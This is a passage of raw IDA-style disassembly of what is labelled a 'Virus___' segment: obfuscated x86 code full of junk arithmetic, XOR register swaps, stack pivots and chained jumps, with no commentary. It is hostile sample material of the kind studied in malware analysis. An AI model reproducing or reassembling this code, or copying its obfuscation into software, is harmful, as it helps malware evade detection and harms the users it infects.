		mov	esp, [esp-44h+arg_3E+2]
		mov	[esp-44h+arg_3E+2], esi
		push	[esp-44h+arg_42+2]
		pop	esi
		pop	[esp-44h+arg_3E+2]
		jmp	loc_54C430
; ---------------------------------------------------------------------------


loc_543D65:				; CODE XREF: sub_545A2B+1052j
		xor	[esp-48h+arg_42+2], ecx
		push	[esp-48h+arg_42+2]
		mov	eax, [esp-44h+arg_3E+2]
		push	edx
		mov	edx, esp
		jmp	loc_5465FB
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_543D76	proc near		; CODE XREF: sub_545A2B+1D47j

; FUNCTION CHUNK AT 0054CC4E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0054D11B SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 1CDE4781h
		and	ebx, 465304E2h
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 452047Dh
		jmp	loc_54D11B
sub_543D76	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543D90:				; CODE XREF: sub_545A2B+5565j
		push	[esp-40h+arg_3A+2]
		mov	edx, [esp-3Ch+arg_36+2]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_54429B
; ---------------------------------------------------------------------------


loc_543DA4:				; CODE XREF: sub_545A2B+1A91j
		mov	esi, 1
		mov	edi, esi
		pop	esi
		and	eax, edi
		jmp	loc_5485A3
; ---------------------------------------------------------------------------


loc_543DB3:				; CODE XREF: sub_545A2B+458Cj
		sub	[esp-40h+arg_3A+2], 751A5B44h
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_543DBF:				; CODE XREF: sub_545A2B+215Bj
		xor	bh, 0CFh
		add	dh, bh
		pop	ebx
		or	dh, 21h
		dec	dh
		xor	dh, 88h
		add	dh, 27h
		add	dh, 8Eh
		xor	bl, dh
		pop	edx
		sub	al, bl
		pop	ebx
		jmp	loc_54E20F
; ---------------------------------------------------------------------------


loc_543DDE:				; CODE XREF: sub_545A2B-1A3Dj
		add	edi, ecx
		jmp	loc_54C877
; ---------------------------------------------------------------------------


loc_543DE5:				; CODE XREF: sub_545A2B+9334j
		pop	ecx
		jmp	loc_54355D
; ---------------------------------------------------------------------------


loc_543DEB:				; CODE XREF: sub_545A2B+1E46j
		not	ecx
		jmp	loc_543356
; ---------------------------------------------------------------------------


loc_543DF2:				; CODE XREF: sub_545A2B+1D04j
		sub	[esp-50h+arg_4C], 15F22DDAh
		pop	ecx
		push	eax
		push	edi
		push	4FA4104Fh
		pop	edi
		add	edi, 741A5E91h
		jmp	loc_546F6C
; ---------------------------------------------------------------------------


loc_543E0D:				; CODE XREF: sub_545A2B+930Aj
		sub	eax, 4C5765D1h
		jmp	loc_5486F2
; ---------------------------------------------------------------------------


loc_543E17:				; CODE XREF: sub_545A2B+2273j
		pop	edx
		pop	ebp
		add	edi, ecx
		push	esi
		jmp	loc_548C31
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_543E21:				; CODE XREF: Virus___:0054DB0Aj
		push	0
		sub	[esp], edi
		pop	edi
		sub	edi, 0DECFD718h
		push	edi
		add	dword ptr [esp], 19503074h
		pop	ebp
		sub	ebp, 19503074h
		pop	edi
		add	eax, ebp
		pop	ebp
		sub	eax, ebx
		sub	eax, 44644C96h
		push	edi
		mov	edi, 44730B66h
		jmp	loc_547498
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543E55:				; CODE XREF: sub_545A2B+6E02j
		pop	ecx
		or	dl, bl
		pop	ebx
		push	ax
		mov	al, 5Eh
		and	dl, al
		jmp	loc_54D84A
; ---------------------------------------------------------------------------


loc_543E64:				; CODE XREF: sub_545A2B+49C3j
		mov	dx, word ptr [esp-56h+arg_50+2]
		add	esp, 2
		mov	di, ax
		jmp	loc_54C16C
; ---------------------------------------------------------------------------


loc_543E76:				; CODE XREF: sub_545A2B+1EE3j
		add	al, bl
		add	al, 50h
		push	75CDh
		mov	[esp-56h+arg_50+2], ecx
		push	eax
		jmp	loc_54A99E
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_543A87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543EB1:				; CODE XREF: sub_545A2B-2587j
		mov	edx, 3AAA6F45h
		xor	edx, ebx
		pop	ebx
		jmp	loc_548BEF
; ---------------------------------------------------------------------------


loc_543EBE:				; CODE XREF: sub_545A2B+5A50j
		push	[esp-38h+arg_32+2]
		pop	ebx
		add	esp, 4
		shl	ebx, 2
		dec	ebx
		not	ebx
		shl	ebx, 1
		neg	ebx
		add	ebx, 0FFFFFFFFh
		add	ebx, 86A764EDh
		sub	edx, 73853057h
		add	edx, ebx
		add	edx, 73853057h
		mov	ebx, [esp-3Ch+arg_36+2]
		add	esp, 4
		push	ebx
		jmp	loc_54C41B
; ---------------------------------------------------------------------------


loc_543EF8:				; CODE XREF: sub_545A2B+7404j
		pop	[esp-3Ch+arg_36+2]
		add	[esp-40h+arg_3A+2], 4
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		xor	esi, [esp-44h+arg_3E+2]
		xor	[esp-44h+arg_3E+2], esi
		xor	esi, [esp-44h+arg_3E+2]
		mov	esp, [esp-44h+arg_3E+2]
		shl	word ptr [esp-44h+arg_3E+2], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_543F25:				; CODE XREF: sub_545A2B+4909j
		xchg	edi, [esp-40h+arg_3A+2]
		not	edi
		jmp	loc_54D175
; ---------------------------------------------------------------------------


loc_543F2F:				; CODE XREF: sub_545A2B-902j
		push	58720104h
		pop	eax
		jmp	loc_54C7BB
; ---------------------------------------------------------------------------


loc_543F3A:				; CODE XREF: sub_545A2B+4D41j
		sub	eax, esi
		pop	esi
		add	eax, ebx
		push	ecx
		mov	ecx, 28FC7679h
		shl	ecx, 4
		jmp	loc_546F07
; ---------------------------------------------------------------------------


loc_543F4D:				; CODE XREF: sub_545A2B-5E3j
		push	ecx
		mov	cl, 9Bh
		or	cl, 0CFh
		inc	cl
		jmp	loc_54A102
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_543F5A	proc near		; CODE XREF: sub_545A2B-233Dj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005434F4 SIZE 0000002C BYTES

		push	ebx
		mov	bh, 2Ah
		inc	bh
		push	edx
		mov	dl, 0C4h
		add	bh, 2Bh
		sub	bh, dl
		sub	bh, 2Bh
		pop	edx
		xor	ch, bh
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		and	ch, 90h
		jmp	loc_5434F4
sub_543F5A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_543F7B:				; DATA XREF: Virus___:00542D58o
		mov	ax, [esp]
		jmp	loc_54441D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543F84:				; CODE XREF: sub_545A2B+D74j
		and	ecx, edx
		jmp	loc_545E99
; ---------------------------------------------------------------------------


loc_543F8B:				; CODE XREF: sub_545A2B+3413j
		pop	esp
		add	esp, 4
		xor	edx, 7FD838EFh
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_543F9A:				; CODE XREF: sub_545A2B+319Fj
		mov	ecx, 59B11A02h
		xor	ecx, ebp
		xor	ebp, ecx
		xor	ecx, ebp
		inc	ebp
		push	ecx
		push	7C51h
		jmp	loc_5481FD
; ---------------------------------------------------------------------------


loc_543FB1:				; CODE XREF: sub_545A2B-2B1j
		sub	ecx, 3A8E7284h
		dec	ecx
		add	ecx, 0C516F318h
		mov	edx, ecx
		pop	ecx
		or	edx, 2A287328h
		dec	edx
		shr	edx, 7
		sub	edx, (offset loc_557CE2+1)
		jmp	loc_543498
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5441BD


loc_543FD6:				; CODE XREF: sub_5441BD+9j
		xor	eax, 3CF753Dh
		jmp	loc_549696
; END OF FUNCTION CHUNK	FOR sub_5441BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_543FE0:				; CODE XREF: sub_545A2B-19C6j
		not	ecx
		xor	ecx, 17EF4722h
		xor	ecx, 0B1AA79A7h
		jmp	loc_543DDE
; ---------------------------------------------------------------------------


loc_543FF3:				; CODE XREF: sub_545A2B+4AFCj
		push	esi
		jmp	loc_546814
; ---------------------------------------------------------------------------


loc_543FF9:				; CODE XREF: sub_545A2B+50E7j
		neg	edi
		or	edi, 3E02152Eh
		jmp	loc_54C18F
; ---------------------------------------------------------------------------


loc_544006:				; CODE XREF: sub_545A2B+327Ej
		and	ecx, edx
		pop	edx
		jmp	loc_54AE93
; ---------------------------------------------------------------------------


loc_54400E:				; CODE XREF: sub_545A2B-21D0j
		or	esi, 56136E72h
		sub	esp, 4
		mov	[esp-2Ah+arg_26], ecx
		push	ebx
		mov	ebx, 7C7C1068h
		mov	ecx, ebx
		pop	ebx
		or	esi, ecx
		mov	ecx, [esp-2Ah+arg_26]
		jmp	loc_548BCF
; ---------------------------------------------------------------------------


loc_54402D:				; CODE XREF: sub_545A2B+5F03j
		and	ebx, 608D67F1h
		add	ebx, 41FA6121h
		shl	ebx, 7
		jmp	loc_549626
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544041:				; DATA XREF: Virus___:00542D5Co
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	154Dh
		jmp	loc_54BFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544055:				; CODE XREF: sub_545A2B+2DA9j
		inc	al
		jmp	loc_548905
; ---------------------------------------------------------------------------


loc_54405C:				; CODE XREF: sub_545A2B+96F3j
		add	esi, 0B92246A4h
		mov	ecx, esi
		pop	esi
		jmp	loc_543FE0
; ---------------------------------------------------------------------------


loc_54406A:				; CODE XREF: sub_545A2B+8FEDj
		push	eax
		mov	eax, 602167F2h
		jmp	loc_54E68C
; ---------------------------------------------------------------------------


loc_544075:				; CODE XREF: sub_545A2B+4210j
		push	ecx
		mov	ecx, 3C10D53h
		jmp	loc_54AB93
; ---------------------------------------------------------------------------


loc_544080:				; CODE XREF: sub_545A2B+5963j
		pop	eax
		xor	bl, 0C3h
		add	al, bl
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xchg	ebx, [esp-2Ah+arg_26]
		pop	esp
		mov	word ptr [esp-2Eh+arg_2A], bx
		push	ax
		mov	ah, 0AEh
		mov	bl, ah
		pop	ax
		xor	al, bl
		mov	bx, word ptr [esp-2Eh+arg_2A]
		jmp	loc_545B47
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_5440AE	proc near		; CODE XREF: sub_545A2B-4B3j

; FUNCTION CHUNK AT 00543AC8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0054D19B SIZE 00000007 BYTES

		push	ebp
		mov	ebp, 5E8F34FCh
		xor	ebp, 54721134h
		sub	ebp, 28EB56FFh
		shr	ebp, 5
		dec	ebp
		not	ebp
		add	ebp, 61FB07FDh
		add	edx, ebp
		pop	ebp
		jmp	loc_54D19B
sub_5440AE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5440D4:				; CODE XREF: sub_545A2B+7A69j
		pop	ebp
		add	esp, 4
		pop	[esp-36h+arg_32]
		mov	esp, [esp-3Ah+arg_36]
		mov	cx, word ptr [esp-3Ah+arg_36]
		sub	esp, 4
		mov	[esp-36h+arg_32], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		push	edx
		jmp	loc_54941C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	35BAh
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		mov	eax, 4
		sub	ecx, 4B801990h
		sub	ecx, 21BB7B75h
		add	ecx, eax
		push	edx
		mov	edx, 10024F2Dh
		dec	edx
		jmp	loc_54BEB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544129:				; CODE XREF: sub_545A2B+26BCj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 58E53BFAh
		neg	eax
		jmp	loc_54A064
; ---------------------------------------------------------------------------


loc_54413F:				; CODE XREF: sub_545A2B+2F2Aj
		push	7985h
		mov	[esp-22h+arg_1E], eax
		mov	eax, 31BA051Ah
		jmp	loc_54ED82
; ---------------------------------------------------------------------------


loc_544151:				; CODE XREF: sub_545A2B+4946j
		mov	[esp-22h+arg_1E], ebx
		push	ebp
		mov	ebp, 500D5964h
		xor	[esp-1Eh+arg_1E], ebp
		push	[esp-1Eh+arg_1A]
		mov	ebp, [esp-1Ah+arg_16]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_548C6A
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544174:				; CODE XREF: Virus___:0054573Cj
		mov	[esp+4], al
		mov	eax, [esp]
		add	esp, 4
		xor	bl, dh
		xor	dh, bl
		xor	bl, dh
		not	dh
		push	cx
		mov	cl, dh
		mov	dh, bl
		jmp	loc_5477AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544191:				; CODE XREF: sub_545A2B+7DDj
		push	edx
		jmp	loc_548521
; ---------------------------------------------------------------------------


loc_544197:				; CODE XREF: sub_545A2B+1242j
		xchg	eax, [esp-16h+arg_12]
		pop	esp
		add	ebp, 4
		jmp	loc_543311
; ---------------------------------------------------------------------------


loc_5441A6:				; CODE XREF: sub_545A2B+179j
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp-1Eh+arg_1A]
		mov	esp, [esp-1Eh+arg_1A]
		jmp	loc_54C20D
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_5441BD	proc near		; CODE XREF: sub_545A2B+1BDBj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00543FD6 SIZE 0000000A BYTES

		push	ebp
		xor	[esp+4+var_4], 3CF753Dh
		pop	eax
		jmp	loc_543FD6
sub_5441BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_5441CB	proc near		; CODE XREF: sub_545A2B-16EDj

; FUNCTION CHUNK AT 0054D833 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, 4
		jmp	loc_54D833
sub_5441CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5441D6:				; CODE XREF: sub_545A2B+729j
		pop	esi
		add	edx, edi
		jmp	loc_54865C
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_5441DE:				; CODE XREF: Virus___:0054E737j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_54EAD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5441F1:				; CODE XREF: sub_545A2B+175Bj
		mov	esi, 605949C2h
		xor	esi, 148B033Ch
		xor	esi, 2FBF5686h
		add	edx, esi
		jmp	loc_54E9DF
; ---------------------------------------------------------------------------


loc_544209:				; CODE XREF: sub_545A2B-873j
		mov	ebp, 24h
		push	ebp
		jmp	loc_54F086
; ---------------------------------------------------------------------------


loc_544214:				; CODE XREF: sub_545A2B+4D87j
		add	edx, 65150421h
		push	ebx
		mov	ebx, 4C3D0516h
		push	ebp
		mov	ebp, 35C60F37h
		jmp	loc_5487AD
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5456BE


loc_54422B:				; CODE XREF: sub_5456BE+Ej
		add	edx, 5F9A78F7h
		add	edx, esi
		sub	edx, 5F9A78F7h
		mov	esi, [esp+0]
		jmp	loc_54C4A2
; END OF FUNCTION CHUNK	FOR sub_5456BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544241:				; CODE XREF: sub_545A2B+6D55j
		push	edi
		mov	edi, 59614E4Ch
		shl	edi, 1
		neg	edi
		and	edi, 47B82DAFh
		xor	edi, 198277F7h
		or	esi, edi
		pop	edi
		xor	esi, 390DA82Ah
		sub	ebx, esi
		pop	esi
		xor	ecx, ebx
		pop	ebx
		add	eax, ecx
		pop	ecx
		jmp	loc_544525
; ---------------------------------------------------------------------------


loc_54426E:				; CODE XREF: sub_545A2B+82BAj
		mov	eax, 2580728Fh
		dec	eax
		jmp	loc_549E0F
; ---------------------------------------------------------------------------


loc_544279:				; CODE XREF: sub_545A2B+35B5j
		mov	edi, 2433302Ch
		add	eax, edi
		pop	edi
		push	[esp-26h+arg_22]
		pop	ebx
		add	esp, 4
		xor	ebx, eax
		sub	esp, 4
		mov	[esp-26h+arg_22], edi
		jmp	loc_547D73
; ---------------------------------------------------------------------------


loc_54429B:				; CODE XREF: sub_545A2B-1C8Cj
		push	ecx
		push	eax
		push	79307DB3h
		pop	eax
		jmp	loc_54DFCA
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_544532


loc_5442A8:				; CODE XREF: sub_544532-14F8j
		add	esp, 4
		sub	al, cl
		push	[esp+4+var_4]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	42Dh
		mov	[esp+0Ch+var_C], edi
		jmp	loc_54B2A8
; END OF FUNCTION CHUNK	FOR sub_544532
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5442C7:				; CODE XREF: sub_545A2B+5815j
		add	edx, ebp
		jmp	loc_54B800
; ---------------------------------------------------------------------------


loc_5442CE:				; CODE XREF: sub_545A2B+7209j
		push	ecx
		mov	ecx, 7ED43145h
		mov	ebx, 0CF6D22C2h
		add	ebx, ecx
		pop	ecx
		add	edx, ebx
		pop	ebx
		xor	edx, 0E4D55D4h
		push	ebp
		mov	ebp, 1
		sub	edx, ebp
		pop	ebp
		sub	edx, 5FBB5D0Bh
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_5461D8
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+38h]
		jmp	loc_5476F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544305:				; CODE XREF: sub_545A2B-2715j
		mov	[esp-10h+arg_A+2], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp-14h+arg_E+2]
		pop	esp
		sub	eax, 414D1855h
		sub	esp, 4
		mov	[esp-14h+arg_E+2], esi
		jmp	loc_548D93
; ---------------------------------------------------------------------------


loc_544327:				; CODE XREF: sub_545A2B+9954j
		dec	ebx
		or	ebx, 73A5705Ah
		push	ebp
		jmp	loc_546DA5
; ---------------------------------------------------------------------------


loc_544334:				; CODE XREF: sub_545A2B+4707j
		xchg	ebp, [esp-10h+arg_A+2]
		pop	esp
		add	esi, 4
		jmp	sub_5441CB
; ---------------------------------------------------------------------------


loc_544343:				; CODE XREF: sub_545A2B+75C6j
		mov	eax, [esp-14h+arg_E+2]
		add	esp, 4
		mov	bh, 55h
		sub	bh, ch
		jmp	loc_54813E
; ---------------------------------------------------------------------------


loc_544352:				; CODE XREF: sub_545A2B+764j
		mov	eax, 74246539h
		add	ebx, eax
		pop	eax
		pop	ebp
		xchg	ebx, [esp-20h+arg_1A+2]
		pop	esp
		jmp	loc_545862
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_544364	proc near		; CODE XREF: sub_545A2B+218Aj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	esi
		push	0A1C1507h
		pop	esi
		shl	esi, 3
		add	esi, 3BDF014Ch
		dec	esi
		add	esi, 73405681h
		mov	ebp, esi
		pop	esi
		mov	eax, ebp
		pop	ebp
		add	edi, eax
		mov	eax, [esp+0]
		jmp	loc_54BDC6
sub_544364	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544391:				; CODE XREF: sub_545A2B-11D1j
		mov	ebx, ecx
		jmp	loc_543393
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_544398:				; DATA XREF: Virus___:00542D48o
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54B32E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5443A1:				; CODE XREF: sub_545A2B-B7Bj
		mov	eax, 0FF800800h
		jmp	loc_54C023
; ---------------------------------------------------------------------------


loc_5443AB:				; CODE XREF: sub_545A2B+341Dj
		mov	[esp-24h+arg_1E+2], edx
		jmp	loc_54D6A4
; ---------------------------------------------------------------------------


loc_5443B3:				; CODE XREF: sub_545A2B-1323j
		add	dh, ch
		pop	ecx
		sub	dh, 8
		jmp	loc_547E28
; ---------------------------------------------------------------------------


loc_5443BE:				; CODE XREF: sub_545A2B+4BF3j
		add	esi, 4
		push	edx
		mov	edx, 4
		jmp	loc_54C274
; ---------------------------------------------------------------------------


loc_5443CF:				; CODE XREF: sub_545A2B+6A7Aj
		push	edx
		push	[esp-20h+arg_1E+2]
		jmp	loc_54F2D7
; ---------------------------------------------------------------------------


loc_5443D9:				; CODE XREF: sub_545A2B+37AFj
		mov	bx, word ptr [esp-1Ch+arg_16+2]
		add	esp, 2
		jmp	loc_547DE7
; ---------------------------------------------------------------------------


loc_5443E8:				; CODE XREF: sub_545A2B+2E7Cj
		sub	al, 37h
		push	ecx
		mov	cl, 34h
		sub	al, cl
		pop	ecx
		push	edx
		mov	dl, 8Bh
		push	cx
		mov	cl, ah
		mov	ah, dl
		push	eax
		push	edx
		mov	dh, cl
		mov	ah, dh
		mov	edx, [esp-12h+arg_E]
		add	esp, 4
		mov	dl, ah
		pop	eax
		jmp	loc_544B2F
; ---------------------------------------------------------------------------


loc_544410:				; CODE XREF: sub_545A2B+A3Fj
		push	edx
		mov	edx, 7D4737E4h
		add	eax, edx
		jmp	loc_5473D9
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54441D:				; CODE XREF: Virus___:00543F7Fj
		push	esi
		mov	esi, esp
		push	52Fh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		mov	edx, esi
		jmp	loc_544D79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54443D:				; CODE XREF: sub_545A2B+8BCCj
		sub	[esp-16h+arg_12], 2FB70109h
		push	[esp-16h+arg_12]
		push	[esp-12h+arg_E]
		pop	ebx
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-16h+arg_12]
		pop	esp
		jmp	loc_546298
; ---------------------------------------------------------------------------


loc_54446C:				; CODE XREF: sub_545A2B+7AAFj
		xor	ebx, [esp-1Ah+arg_16]
		pop	esp
		mov	ax, word ptr [esp-1Eh+arg_1A]
		push	esi
		mov	esi, esp
		push	74BEh
		jmp	loc_546B47
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_544481	proc near		; CODE XREF: sub_545A2B+3619j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		jmp	loc_54C099
sub_544481	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544496:				; CODE XREF: sub_545A2B+57C8j
		mov	ebp, 0FFFFFFFFh
		add	edx, ebp
		pop	ebp
		xor	edx, 0C6FC8749h
		sub	ecx, edx
		mov	edx, [esp-1Ah+arg_16]
		jmp	loc_54674E
; ---------------------------------------------------------------------------


loc_5444AE:				; CODE XREF: sub_545A2B+7399j
		push	3878h
		jmp	loc_54D99E
; ---------------------------------------------------------------------------


loc_5444B8:				; CODE XREF: sub_545A2B+28BBj
		xor	si, 175Fh
		neg	si
		sub	si, 9DD8h
		sub	bp, si
		pop	esi
		jmp	loc_5494AD
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54ECC0


loc_5444CE:				; CODE XREF: sub_54ECC0+Dj
		pop	ebx
		jmp	loc_548D2D
; END OF FUNCTION CHUNK	FOR sub_54ECC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_5444D4:				; CODE XREF: sub_545A2B+9732j
		add	[esp-1Ah+arg_16], 4
		mov	ebp, [esp-1Ah+arg_16]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-16h+arg_12]
		pop	esp
		add	ebp, 4
		push	edx
		jmp	loc_54A82B
; ---------------------------------------------------------------------------


loc_5444FD:				; CODE XREF: sub_545A2B+58A4j
		pop	ebp
		sub	esp, 4
		mov	[esp-16h+arg_12], ecx
		push	edx
		push	ecx
		mov	ecx, 766E0C1Eh
		mov	edx, ecx
		pop	ecx
		and	edx, 39C42003h
		or	edx, 3C821015h
		and	edx, 3FAC7F0Ah
		jmp	loc_54DCE4
; ---------------------------------------------------------------------------


loc_544525:				; CODE XREF: sub_545A2B-17C2j
		push	esi
		mov	esi, 25D58B57h
		sub	eax, esi
		jmp	loc_545757
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_544532	proc near		; CODE XREF: sub_545A2B+560Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00543033 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005442A8 SIZE 0000001F BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	eax
		mov	ah, 86h
		jmp	loc_543033
sub_544532	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_544543:				; CODE XREF: sub_545A2B+1F50j
		pop	ebx
		add	ecx, ebx
		jmp	loc_548433
; ---------------------------------------------------------------------------


loc_54454B:				; CODE XREF: sub_545A2B+9581j
		pop	edx
		jmp	loc_5467BE
; ---------------------------------------------------------------------------


loc_544551:				; CODE XREF: sub_545A2B+2511j
		sub	eax, 4
		xchg	eax, [esp-26h+arg_22]
		pop	esp
		mov	[esp-2Ah+arg_26], esp
		push	654Fh
		mov	[esp-26h+arg_22], ebp
		push	esi
		push	0F42290Ch
		pop	esi
		not	esi
		xor	esi, 0F0BDD6F7h
		mov	ebp, esi
		pop	esi
		add	[esp-26h+arg_26], ebp
		pop	ebp
		jmp	loc_54A9CA
; ---------------------------------------------------------------------------


loc_54457F:				; CODE XREF: sub_545A2B+266Fj
		push	6F02h
		mov	[esp-26h+arg_22], ebx
		jmp	loc_5436EB
; ---------------------------------------------------------------------------


loc_54458C:				; CODE XREF: sub_545A2B+20j
		push	dword ptr [edi+1Ch]
		jmp	loc_5477A3
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54D63C


loc_544594:				; CODE XREF: sub_54D63C+Fj
		push	edi
		inc	[esp+4+var_4]
		jmp	loc_548D33
; END OF FUNCTION CHUNK	FOR sub_54D63C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54459D:				; CODE XREF: sub_545A2B+2D93j
		add	edx, 35C60F37h
		mov	ebx, [esp-22h+arg_1E]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_545E91
; ---------------------------------------------------------------------------


loc_5445B4:				; CODE XREF: sub_545A2B+379Aj
		mov	esi, [esp-1Eh+arg_1A]
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp-16h+arg_12]
		add	esp, 4
		add	ecx, 4
		xor	ecx, [esp-1Ah+arg_16]
		xor	[esp-1Ah+arg_16], ecx
		xor	ecx, [esp-1Ah+arg_16]
		pop	esp
		add	esi, 4D0E04BFh
		push	eax
		jmp	loc_54B7F3
; ---------------------------------------------------------------------------


loc_5445E4:				; CODE XREF: sub_545A2B+8D26j
		sub	ah, 82h
		sub	bl, ah
		pop	eax
		sub	bl, 86h
		pop	ecx
		sub	bl, al
		push	ecx
		mov	cl, 0B5h
		not	cl
		shr	cl, 5
		sub	cl, 93h
		shl	cl, 4
		shr	cl, 6
		add	cl, 4Eh
		sub	bl, cl
		jmp	loc_54B00B
; ---------------------------------------------------------------------------


loc_54460B:				; CODE XREF: sub_545A2B+6FB5j
		xor	ecx, edi
		jmp	loc_54E1CF
; ---------------------------------------------------------------------------


loc_544612:				; CODE XREF: sub_545A2B+4874j
		add	ebp, edx
		pop	edx
		add	ebp, 4
		push	ebp
		jmp	loc_5460DE
; ---------------------------------------------------------------------------


loc_544621:				; CODE XREF: sub_545A2B+849Bj
		push	esi
		mov	esi, 60B8277Bh
		jmp	loc_545D5E
